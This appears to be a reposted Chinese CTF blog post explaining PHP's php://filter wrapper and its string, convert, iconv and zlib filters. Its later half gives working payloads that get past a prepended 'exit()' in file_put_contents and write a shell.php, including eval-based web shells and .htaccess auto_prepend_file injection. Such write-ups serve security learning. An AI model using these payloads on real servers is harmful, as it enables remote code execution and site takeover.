• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

filter伪协议的特性

武飞扬头像
清风--
帮助1

前言:

对我来说,我以前对filter伪协议不甚了解,这次接触了这一题,就得主动去更加深入地了解一下filter伪协议了。以前呢就知道php://filter/read=convert.base64-encode/resource=[文件名] 这干瘪瘪的一套,用就完了,现在看来深入了解是很有必要的。

何为php://filter

官方文档的解释:

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()file()file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

按我的理解来说:

它是一个php特有的协议,是一个过滤器,用于对 读取 或者 写入 的数据流进行处理,类似中间人的关系

php://filter 参数

php://filter/read=convert.base64-encode|convert.base64-encode/resource=data://text/plain,<?php phpinfo();?> 为参考

名称

描述

resource=<要过滤的数据流>

这个参数是必须的。它指定了你要筛选过滤的数据流。

read=<读链的筛选列表>

该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。

write=<写链的筛选列表>

该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。

<;两个链的筛选列表>

任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

1.resource =后面可以接像data://这种格式的内容,对<?php phpinfo();?>base64编码两次

学新通

访问一下

学新通

解码两次

学新通

PS: resource后面使用 php://input 接收的POST流也可以

直接写文件名也可以

2.read & write 一个代表 读,一个代表 写

3.这里base64编码两次,编码之间使用 | 分隔

何为过滤器?

一条熟悉的语句:

php://filter/read=convert.base64-encode/resource=flag.php

//这其中convert.base64-encode 就是一种过滤器

过滤器的类型

根据官方文档,我们可以分成四种过滤器

1.字符串过滤器

string.rot13

介绍一下rot13

ROT-13 编码是一种每一个字母被另一个字母代替的方法。 这个代替字母是由原来的字母向前移动 13 个字母而得到的

payload:

php://filter/read=string.rot13/resource=flag.php

这个是flag.php的内容:

<?php

$flag = "{asd3-4vfdt-faklmk0-48ff}";

?>

读取后:

<?cuc

$synt = "{nfq3-4isqg-snxyzx0-48ss}";

?>

想要获取原内容很简单,再rot13编码一次便可以得到flag

string.toupper(将内容全部大写)

payload:

php://filter/read=string.toupper/resource=flag.php

结果:

<?PHP

$FLAG = "{ASD3-4VFDT-FAKLMK0-48FF}";

?>

string.tolower(将内容全部小写)

payload:

php://filter/read=string.tolower/resource=flag.php

结果:

<?php

$flag = "{asd3-4vfdt-faklmk0-48ff}";

?>

string.strip_tags

作用:

对于HTML来说,它会去除标签保留标签之间的内容

对于php来说,全杀一个不显示

警告

本特性已自 PHP 7.3.0 起废弃。强烈建议不要使用本特性

flag.php的内容:

<?php

$flag = "{asd3-4vfdt-faklmk0-48ff}";

?>

<html>

<head>

<meta charset="utf-8">

<title>Home Page</title>

</head>

<body>

<h1>无限大な梦のあとの</h1>

</body>

</html>

结果:

学新通

2.转换过滤器(convert.* )

convert.base64-encode & convert.base64-decode

payload:

php://filter/read=convert.base64-encode/resource=flag.php

结果:

PD9waHANCiRmbGFnID0gInthc2QzLTR2ZmR0LWZha2xtazAtNDhmZn0iOw0KPz4gDQo=

convert.quoted-printable-encode 和 convert.quoted-printable-decode

阐释:quoted_printable_decode()函数 quoted_printable_encode()函数相同

Quoted-printable译为可打印字符引用编码,这里就是把一些不可打印的ASCII字符转换为十六进制的形式,下文中会再给出我的理解。

学新通

学新通

payload:

php://filter/read=convert.quoted-printable-encode/resource=flag.php

结果:

<?php=0D=0A$flag =3D "{asd3-4vfdt-faklmk0-48ff}";=0D=0A?>

这里应该就是将'\n'换成0D0A的形式,如果碰到等号,就会在后面加上3D

convert.iconv.*

*的内容可以是:

UTF-8
UCS-2, UCS-2BE, UCS-2LE
UCS-4, UCS-4BE, UCS-4LE
UTF-16, UTF-16BE, UTF-16LE
UTF-32, UTF-32BE, UTF-32LE
UTF-7

这里特别补充说明一个点:

UCS-2LE.UCS-2BE、utf-7、utf-8

这些编码是可以通过'\n'拼接的,也就是意味着可以绕检测

举个例子:

php://filter/read=convert.iconv.ut f-8.u tf-7/resource=flag.php

如果题目过滤了utf,那么便可以使用此方法绕过(具体能不能使用还得看目标服务器,这个也不是绝对,不过是一个方法,也是一种思路,要多尝试)

结果:

学新通

不得不说,这个方法得到的东西太乱了,最好的解码方式就是本地解码

php://filter/read=convert.iconv.utf-7.utf-8/resource=flag.php

// 就是把原来的utf-7和utf-8交换一下位置

学新通

3.压缩过滤器

zlib.deflate(压缩)和 zlib.inflate(解压)

在激活 zlib 的前提下可以使用 zlib.* 压缩过滤器。

以为我没有激活,所以演示不了,只能贴一下payload了

php://filter/zlib.deflate|zlib.inflate/resource=flag.php

4.加密过滤器

警告

本特性已自 PHP 7.1.0 起废弃。强烈建议不要使用本特性。

这个东西太奇怪了,这里不做讨论

小结

讲了这么多,我必须 在这里提醒你,过滤器不是必选!!可以不用,很多时候不用有妙用。不要以为php://filter必须用过滤器。而且当你使用的是php不认识的过滤器,php不会做任何处理,切记。

先来了解一下file_put_contents这个函数

file_put_contents ( string$filename , mixed$data [, int$flags = 0 [, resource$context ]] ) : int

两个必要参数:

string $filename ->文件的名字

mixed $data ->写入文件的数据

无特别说明,则文件都是被写入当前目录下

也可以通过

@mkdir()

@chdir()

来设置文件存放路径

还有一个关于file_put_contents 的非常有用的知识:

file_put_contents 可以调用伪协议,并且伪协议处理数据时会对过滤器 urldecode一次

举个例子:

传参输入:(字母 t urlencode两次 -->%74)

?php://filter/read=string.ro%7413/resource=flag.php

地址栏自动解码一次

?php://filter/read=string.rot13/resource=flag.php

file_put_contents 解码一次

$content=php://filter/read=string.rot13/resource=flag.php

从而绕过检测

绕过死亡exit有三种情况

情况一

<?php
$filename=$_GET['filename'];
$content=$_POST['content'];
file_put_contents($filename,"<?php exit();".$content);
?>

死亡前后不一致

BASE64绕过

原理:前面的phpexit是七个字节,而BASE64是四个字节一组转换成三个字节,所以我们这里再添加一个字母补足前面的八个字节后面的内容才会被正确解析为<?php phpinfo();?>

filename=php://filter/convert.base64-decode/resource=shell.php

// 这里不要再添加read= 不然后面的content内容不会被解码

content=aPD9waHAgcGhwaW5mbygpOz8

rot13绕过

原理:<?php exit(); 经过rot13编码后会变成<?cuc rkvg(); 在PHP不开启short_open_tag时,php不认识,因此绕过

filename=php://filter/string.rot13/resource=shell.php

content=<?cuc cucvasb();?>

过滤器嵌套绕过

原理:清除php原有的内容,再进行base64解码

filename=php://filter/string.strip_tags|convert.base64-decode/resource=shell.php

content=?>PD9waHAgcGhwaW5mbygpOz8

之后生成的shell.php内容就是;

学新通

需要注意的就是:string.strip_tags特性已自 PHP 7.3.0 起废弃

如果废弃了,怎么办

filename=php://filter/zlib.deflate|string.tolower|zlib.inflate|/resource=shell.php

content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0dphpinfo();?>/resource=shell.php

.htaccess的预包含利用

这个方法利用条件苛刻:

1.要知道所要的文件名的名字

2.满足php版本 < 7.3

$filename=php://filter/write=string.strip_tags/resource=.htaccess

$content=?>php_value auto_prepend_file D:\\wamp\\www\\test\flag.php

复现失败,暂时不知道原因,见谅

情况二:

<?php
$content=$_GET['content'];
file_put_contents($content,"<?php exit();".$content);
?>

前后内容相同,也就是这次我写这篇文章的起因。

ROT13绕过

content=php://filter/string.rot13|<?cuc cucvasb();?>|/resource=shell.php

这里存在rot被过滤的情况,可以考虑编码绕过

payload:

php://filter/read=string.ro%7413/resource=flag.php

base64编码绕过

payload:

content=php://filter/string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8 /../shell.php

过滤器嵌套绕过

payload:

content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?phpeval($_GET[1]);?>/resource=shell.php

结果:

学新通

convert.iconv.*绕过

1.usc-2

usc-2就是对字符两位一反转

payload:

php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSs[ehll;])>?/resource=shell.php

结果:

学新通

2.usc-4

原理同上,四位一反转

payload:

php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@ p(lavOP_$s[TS]leh>?;)/resource=shell.php

3.uft

payload

php://filter/write=PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8 |convert.iconv.utf-8.utf-7|convert.base64-decode/resource=shell.php

结果:

学新通

情况三:

<?php
$content=$_GET['content'];
$filename=$_GET['filename'];
file_put_contents($filename, $content."\njust_test");
?>

payload:

filename=shell.php

content=<?php phpinfo();?>

结果:

学新通

如果不想要换行符的话,我们可以直接进行 \ 注释即可。然后再嵌入#注释符,从而达到单行注释就可以将杂糅代码注释掉的效果,这个是使用.htaccess文件达到的

payload:

filename=.htaccess

content=php_value auto_prepend_file C:\\flag #\

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhgfbkje
系列文章
更多 icon
同类精品
更多 icon
继续加载